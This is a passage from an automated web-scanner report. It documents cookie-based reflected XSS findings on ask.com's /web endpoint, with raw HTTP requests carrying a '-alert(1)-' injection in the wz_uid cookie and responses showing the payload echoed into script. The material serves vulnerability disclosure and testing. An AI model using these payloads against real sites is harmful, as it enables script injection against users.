Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /web HTTP/1.1
Host: www.ask.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ldst=sorg=-1|1290271661055; __utmz=252994457.1290271572.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..; accepting=1; wz_scnt=1; gct=; puser=pt=U2F0LTIwLU5vdi0yMDEwLTE2OjQ3OjQxLVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5597|0~5488|0~5489|0~5490|0~5491|0~5397|0; qc=0; cu.wz=0; gcht=; wz_sid=0346C8EF73F2B3A933ADE477A41477DA; wz_uid=0C41C9EC70F2B3A933ADE477A41477DA1db9e'-alert(1)-'dc71632913f; __utma=252994457.227355931.1290271572.1290271572.1290271572.1; __utmc=252994457; user=o=0&l=dir; __utmb=252994457.2.10.1290271572;

Response (redirected)

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Sat, 20 Nov 2010 17:02:51 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: cu.wz=0; Domain=.ask.com; Expires=Mon, 19-Nov-2012 17:02:51 GMT; Path=/
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=U2F0LTIwLU5vdi0yMDEwLTE3OjAyOjUxLVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Sun, 20-Nov-2011 17:02:51 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 17:02:51 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 77336

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de
...[SNIP]...
<iframe/>');el.attr('src','http://fls.doubleclick.net/activityi;src=2903398;type=homep773;cat=ask_h504;u1=0C41C9EC70F2B3A933ADE477A41477DA1db9e'-alert(1)-'dc71632913f;u4=;u3=;u2=0;ord=-1145871071?').attr('width','1').attr('height','1').attr('frameborder','0');$j('body').append(el);});JASK.namespace("hp.dialogs");$j(document).ready(function() {$j.each(JASK.hp.dialog
...[SNIP]...

2.19. http://www.ask.com/web [wz_uid cookie]  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.ask.com
Path:   /web

Issue detail

The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7eb3c'-alert(1)-'ee3526f5f97 was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /web?q=What+causes+brain+freeze%3F&gc=1&qsrc=3045&o=0&l=dir HTTP/1.1
Host: www.ask.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ldst=sorg=-1|1290271661055; __utmz=252994457.1290271572.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..; accepting=1; wz_scnt=1; gct=; puser=pt=U2F0LTIwLU5vdi0yMDEwLTE2OjQ3OjQxLVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5597|0~5488|0~5489|0~5490|0~5491|0~5397|0; qc=0; cu.wz=0; gcht=; wz_sid=0346C8EF73F2B3A933ADE477A41477DA; wz_uid=0C41C9EC70F2B3A933ADE477A41477DA7eb3c'-alert(1)-'ee3526f5f97; __utma=252994457.227355931.1290271572.1290271572.1290271572.1; __utmc=252994457; user=o=0&l=dir; __utmb=252994457.2.10.1290271572;

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Sat, 20 Nov 2010 17:09:01 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: cu.wz=0; Domain=.ask.com; Expires=Mon, 19-Nov-2012 17:09:00 GMT; Path=/
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qh=1-bG9zK2FuZ2VsZXMraXQrY29uc3VsdGluZw..|V2hhdCtjYXVzZXMrYnJhaW4rZnJlZXplJTNG; Domain=.ask.com; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=U2F0LTIwLU5vdi0yMDEwLTE3OjA5OjAwLVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Sun, 20-Nov-2011 17:09:00 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Sun, 20-Nov-2011 17:09:00 GMT; Path=/
Set-Cookie: qc=1; Domain=.ask.com; Path=/
Content-Length: 118381


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">


<html>


<head>
   

<title>Ask.com - What's Yo
...[SNIP]...
<iframe id="mar" src="http://fls.vulnerable.ad.partner/activityi;src=2903398;type=serpy918;cat=ask_s255;u1=0C41C9EC70F2B3A933ADE477A41477DA7eb3c'-alert(1)-'ee3526f5f97;u4=;u3=;u2=0;ord=-475526707?" width="1" height="1" frameborder="0">
...[SNIP]...

Report generated by XSS.CX at Sat Nov 20 12:43:57 CST 2010.